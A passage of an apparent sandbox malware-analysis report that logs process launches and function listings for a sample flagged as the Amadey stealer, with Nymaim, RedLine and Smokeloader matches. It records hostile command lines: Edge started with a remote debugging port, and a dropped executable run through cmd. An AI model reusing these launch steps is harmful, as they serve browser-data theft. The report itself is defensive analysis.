File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	01:37:28
Start date:	02/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2400 --field-trial-handle=2252,i,2575064197677187059,9976136192055710644,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	01:37:38
Start date:	02/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	01:37:38
Start date:	02/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2392 --field-trial-handle=2240,i,13998815529808110965,14487419510429948634,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	01:37:38
Start date:	02/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	01:37:39
Start date:	02/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2300 --field-trial-handle=2236,i,13329737199814142274,14700275200820245279,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	01:38:11
Start date:	02/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\AEBKFIJEGC.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	01:38:11
Start date:	02/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	01:38:11
Start date:	02/12/2024
Path:	C:\Users\user\Documents\AEBKFIJEGC.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Documents\AEBKFIJEGC.exe"
Imagebase:	0xaf0000
File size:	1'895'424 bytes
MD5 hash:	F87F09FFDBAE1413958D36C0355A15BA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000E.00000002.2826762695.0000000000AF1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000E.00000003.2783806742.0000000004890000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	01:38:14
Start date:	02/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xb90000
File size:	1'895'424 bytes
MD5 hash:	F87F09FFDBAE1413958D36C0355A15BA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000F.00000003.2820703698.0000000004DB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000F.00000002.2863937993.0000000000B91000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	01:38:14
Start date:	02/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xb90000
File size:	1'895'424 bytes
MD5 hash:	F87F09FFDBAE1413958D36C0355A15BA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000010.00000002.2864178110.0000000000B91000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000010.00000003.2823789003.0000000005300000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	01:39:00
Start date:	02/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xb90000
File size:	1'895'424 bytes
MD5 hash:	F87F09FFDBAE1413958D36C0355A15BA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000011.00000002.3565269812.0000000000B91000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000011.00000003.3268275639.00000000052F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	01:39:14
Start date:	02/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe"
Imagebase:	0x400000
File size:	1'963'520 bytes
MD5 hash:	870C92CF89253BAEAF80574AAAD15ADC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000013.00000003.3548213235.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000013.00000002.3570999411.0000000000D09000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000013.00000002.3565368879.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000013.00000002.3582703563.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000013.00000002.3582703563.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 24%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	01:39:22
Start date:	02/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe"
Imagebase:	0xc40000
File size:	1'849'856 bytes
MD5 hash:	91042593292BABA6CE50F767911859E1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 37%, ReversingLabs
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C9335A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C9BF688,00001000), ref: 6C9335D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9335E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C9335FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C93363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C93369F
__aulldiv.LIBCMT ref: 6C9336E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C933773
EnterCriticalSection.KERNEL32(6C9BF688), ref: 6C93377E
LeaveCriticalSection.KERNEL32(6C9BF688), ref: 6C9337BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C9337C4
EnterCriticalSection.KERNEL32(6C9BF688), ref: 6C9337CB
LeaveCriticalSection.KERNEL32(6C9BF688), ref: 6C933801
__aulldiv.LIBCMT ref: 6C933883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C933902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C933918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C93394C

Strings

QPC, xrefs: 6C9338FC
AuthcAMDenti, xrefs: 6C933946
GTC, xrefs: 6C933912
GenuntelineI, xrefs: 6C933639
MOZ_TIMESTAMP_MODE, xrefs: 6C9335DB

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 8e51f42e08f6a77178f586e59a773c95447167e031a9fe9846bb919c6c4530a7
Instruction ID: a0bc96b127170bdefd735f88a6772bb9dde8e2905c181f8a92bba54d538c89c4
Opcode Fuzzy Hash: 8e51f42e08f6a77178f586e59a773c95447167e031a9fe9846bb919c6c4530a7
Instruction Fuzzy Hash: BEB1A079B08315EFDB08DF28C44561B77F9BB8A708F25892EE899D3790D770D8018B89

Function 6C94C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C94C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C94C969
GetSystemInfo.KERNEL32(?), ref: 6C94C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C94C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C94C9E2

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 19fc3c01132cda3191fc5f768cb2113df987e65e5cfade21716db44083636f14
Instruction ID: dcada75d9ce94d08f36fa97ed00bd3649ca3452fef7d7d99ec2053b654dfec6b
Opcode Fuzzy Hash: 19fc3c01132cda3191fc5f768cb2113df987e65e5cfade21716db44083636f14
Instruction Fuzzy Hash: 2A21D736745214BFDB04AA79DC94BAF73B9AB86744F60452AF903A7A80DB70DC04C794

Function 6C933060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C933095

Part of subcall function 6C9335A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C9BF688,00001000), ref: 6C9335D5
Part of subcall function 6C9335A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9335E0
Part of subcall function 6C9335A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C9335FD
Part of subcall function 6C9335A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C93363F
Part of subcall function 6C9335A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C93369F
Part of subcall function 6C9335A0: __aulldiv.LIBCMT ref: 6C9336E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C93309F

Part of subcall function 6C955B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C9556EE,?,00000001), ref: 6C955B85
Part of subcall function 6C955B50: EnterCriticalSection.KERNEL32(6C9BF688,?,?,?,6C9556EE,?,00000001), ref: 6C955B90
Part of subcall function 6C955B50: LeaveCriticalSection.KERNEL32(6C9BF688,?,?,?,6C9556EE,?,00000001), ref: 6C955BD8
Part of subcall function 6C955B50: GetTickCount64.KERNEL32 ref: 6C955BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C9330BE

Part of subcall function 6C9330F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C933127
Part of subcall function 6C9330F0: __aulldiv.LIBCMT ref: 6C933140

Part of subcall function 6C96AB2A: __onexit.LIBCMT ref: 6C96AB30

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 47a97abd2f3bfe8836d1b0ad4ce463b8f1effbb69fbdb9f91171d42731395d0c
Instruction ID: 44b61cc302f2574c4fa35a996bdff945ca50953a86a8ecc065fe719d906b4854
Opcode Fuzzy Hash: 47a97abd2f3bfe8836d1b0ad4ce463b8f1effbb69fbdb9f91171d42731395d0c
Instruction Fuzzy Hash: C0F0F91AE2874DE7CB10DF3888411E77374AF7B118F601319EC4853551FF20A1D8838A

Non-executed Functions

Function 6C945440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C945492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9454A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9454BE
__Init_thread_footer.LIBCMT ref: 6C9454DB

Part of subcall function 6C96AB3F: EnterCriticalSection.KERNEL32(6C9BE370,?,?,6C933527,6C9BF6CC,?,?,?,?,?,?,?,?,6C933284), ref: 6C96AB49
Part of subcall function 6C96AB3F: LeaveCriticalSection.KERNEL32(6C9BE370,?,6C933527,6C9BF6CC,?,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C96AB7C

Part of subcall function 6C96CBE8: GetCurrentProcess.KERNEL32(?,6C9331A7), ref: 6C96CBF1
Part of subcall function 6C96CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9331A7), ref: 6C96CBFA

GetCurrentThreadId.KERNEL32 ref: 6C9454F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C945516
GetCurrentThreadId.KERNEL32 ref: 6C94556A
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C945577
moz_xmalloc.MOZGLUE(00000070), ref: 6C945585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C945590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C9455E6
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C945606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C945616

Part of subcall function 6C96AB89: EnterCriticalSection.KERNEL32(6C9BE370,?,?,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284), ref: 6C96AB94
Part of subcall function 6C96AB89: LeaveCriticalSection.KERNEL32(6C9BE370,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C96ABD1

GetCurrentThreadId.KERNEL32 ref: 6C94563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C945646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C94567C
free.MOZGLUE(?), ref: 6C9456AE

Part of subcall function 6C955E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C955EDB
Part of subcall function 6C955E90: memset.VCRUNTIME140(6C997765,000000E5,55CCCCCC), ref: 6C955F27
Part of subcall function 6C955E90: LeaveCriticalSection.KERNEL32(?), ref: 6C955FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C9456E8
GetCurrentThreadId.KERNEL32 ref: 6C945707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C94570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C945729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C94574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C94576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C945796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C9457B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C9457CA

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C9454B9
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C945766
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C945D1C
[I %d/%d] profiler_init, xrefs: 6C94564E
GeckoMain, xrefs: 6C945554, 6C9455D5
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C945B38
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C9457AE
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C945717
MOZ_PROFILER_STARTUP, xrefs: 6C9455E1
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C94584E
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C9454A3
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C945BBE
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C945D24
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C945AC9
MOZ_BASE_PROFILER_HELP, xrefs: 6C945511
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C9456E3
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C94548D
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C945CF9
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C945724
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C945D2B
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C945791
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C945C56
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C945D01
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C945749
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C9457C5

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: e6def4135b80b48a086b63dbb6e1b9f4e1b666178eb619df8b5f35ba9b5ce8f0
Instruction ID: c5b8e9835a4fe351371b11bdad3dad795ce3d7ace8a4181d91be167cbc88b3b3
Opcode Fuzzy Hash: e6def4135b80b48a086b63dbb6e1b9f4e1b666178eb619df8b5f35ba9b5ce8f0
Instruction Fuzzy Hash: 7E222875A08300AFEB009FB4845865B77B9FF9634CF148529F94A97B81EB30C858CB67

Function 6C97B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C97B845
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8,?,?,00000000), ref: 6C97B852
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97B884
InitializeConditionVariable.KERNEL32(?), ref: 6C97B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C97B9FD
GetCurrentThreadId.KERNEL32 ref: 6C97BA05
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8,?,?,00000000), ref: 6C97BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C97BA27
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97BA4B
free.MOZGLUE(?), ref: 6C97C9C7
free.MOZGLUE(?), ref: 6C97C9DC

Strings

[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C97C878
[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C97C7DA

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 07e35d41e75bf43135e1c3ca7f2d8ee4f59dc38c15200aa956a4221680ce5829
Instruction ID: 88ecc4726cb72d6f180a03cb3205b4756fbe47b51f76063dcd41e026563024cd
Opcode Fuzzy Hash: 07e35d41e75bf43135e1c3ca7f2d8ee4f59dc38c15200aa956a4221680ce5829
Instruction Fuzzy Hash: 1BA28C75A093808FC725CF28C48079FB7E6BFD9318F144A2DE89997751DB70E9098B92

Function 6C946C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

